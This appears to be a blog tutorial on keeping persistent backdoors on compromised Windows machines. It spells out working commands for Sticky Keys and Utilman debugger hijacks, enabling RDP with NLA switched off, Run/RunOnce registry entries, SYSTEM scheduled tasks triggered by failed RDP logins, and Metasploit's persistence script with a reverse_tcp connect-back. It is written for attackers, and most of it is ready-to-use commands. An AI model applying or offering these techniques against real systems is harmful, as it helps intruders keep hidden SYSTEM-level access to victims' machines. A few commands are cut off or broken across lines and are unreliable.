Post exploitation – persisting and triggering backdoors in Windows part 1

A backdoor has three key components: persistence, a trigger, and a payload.In this post, I’ll cover some methods of persisting your payload on a Windows box you’ve owned.

Startup folder

Binaries or batch files inside the startup folder will execute. Startup folder is one on of the following locations:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

RDP + Sticky Keys

If RDP is available, you can easily backdoor the Sticky Keys executable. You can also enable RDP with the two commands:

netsh advfirewall firewall add rule name="RDP access" dir=in action=allow protocol=TCP localport=3389
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Simple replace c:\windows\system32\sethc.exe with the payload of your choosing. When you’re on on the RDP screen, press shift 5 times and you’ll find your payload executed.

To the login screen from Windows RDP client, you need to change a registry key to be able to bypass network layer authentication (NLA) to get to a generic RDP window:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Cont
rol\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

Now we want to copy cmd.exe over C:\windows\system32\sethc.exe, but we can’t do that when the operating system is booted. Either do this offline, or make a registry edit to add cmd as a debugger for sethc.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe

You can also do the same for Utilman.exe, which can be triggering by navigating to accessibility settings from the login screen (there is a button, or press Windows key + U).

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\I
mage File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\sy

(idea from


There are several registry keys which we can write that will run a command in CMD

The follow keys run after a user logs in:

 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

The following keys will run before the login screen appears. They will run a service that has already been configured on the machine.


The RunOnce keys will delete themselves after running. Run keys are not run if the machine is booted into safe mode.

You can add registry keys from the command line:

reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v PAYLOAD.dll /t REG_MULTI_SZ /d "C:\PAYLOAD.EXE"


We can schedule tasks to run a command on a given schedule, from once a second to when a user logs in.

schtasks /create /tn "SystemTask" /tr "cmd /C 'PAYLOAD.EXE'" /rl HIGHEST /ru SYSTEM /sc ONSTART

/tn specifies the name of the task
/tr specifies the command to run
/rl specifies run level. I don’t think this is related to Unix run levels, but is instead a privilege thing
/ru the user the payload is run under.
/sc is the frequency. we want it to run when the machine starts up.

We have quite a bit of options available for frequency. Although I won’t go into gory details on scheduling Windows tasks (go here if you want to read that), there is an ONEVENT modifier which allows us to specify a XPath event query string to trigger a task.Using this query, our payload based off of a given channel or log file that we can trigger externally.

I’ll be covering triggering more extensively later, but here’s a quick example of creating a scheduled tasks that will be triggered by a failed RDP login with a specified username.

C:\Windows\System32>schtasks /Create /RU SYSTEM /SC ONEVENT /MO "*[System[EventI
D=4625]] and *[EventData[Data='USERNAME_BACKDOOR']]" /EC Security /TN "RDP
 Backdoor" /TR "C:\PAYLOAD.EXE" /F
SUCCESS: The scheduled task "RDP Backdoor" has successfully been create

4625 is the event ID of the failed RDP login entry in the Security log.


Metasploit’s meterpreter gives us a ruby script for creating persistent backdoors. persistence.rb will add a registry key to automatically start an executable that will create a meterpreter shell as a service that runs on start-up. We can specify whichever payload we want. Meterpreter also still supports the legacy metsvc payload, but I didn’t look into it.

meterpreter > run persistence -h

    -A        Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>  Alternate executable template to use
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on which the system running Metasploit is listening
    -r <opt>  The IP of the system running Metasploit listening for the connect back

We can create the backdoor using the following simple command:

run persistence -U -i 20 -p 5555

Now, the biggest benefit of going to all this trouble is some of the obfuscation methods that these payloads support. Although none of these backdooring methods support authentication, we can go to this extra effort to obfuscate the backdoor.

We can connect to the shell later using the corresponding payload inside of a Metasploit handler.

Here are the payloads which support some level of obfuscation:

This payload only accepts connections from a supplied IP address.

This payload will make the port appear closed unless connected to using a specific IP address, after which the port will open up. This is usually accomplished by spoofing your IP address to open the port, and then connecting with the handler module.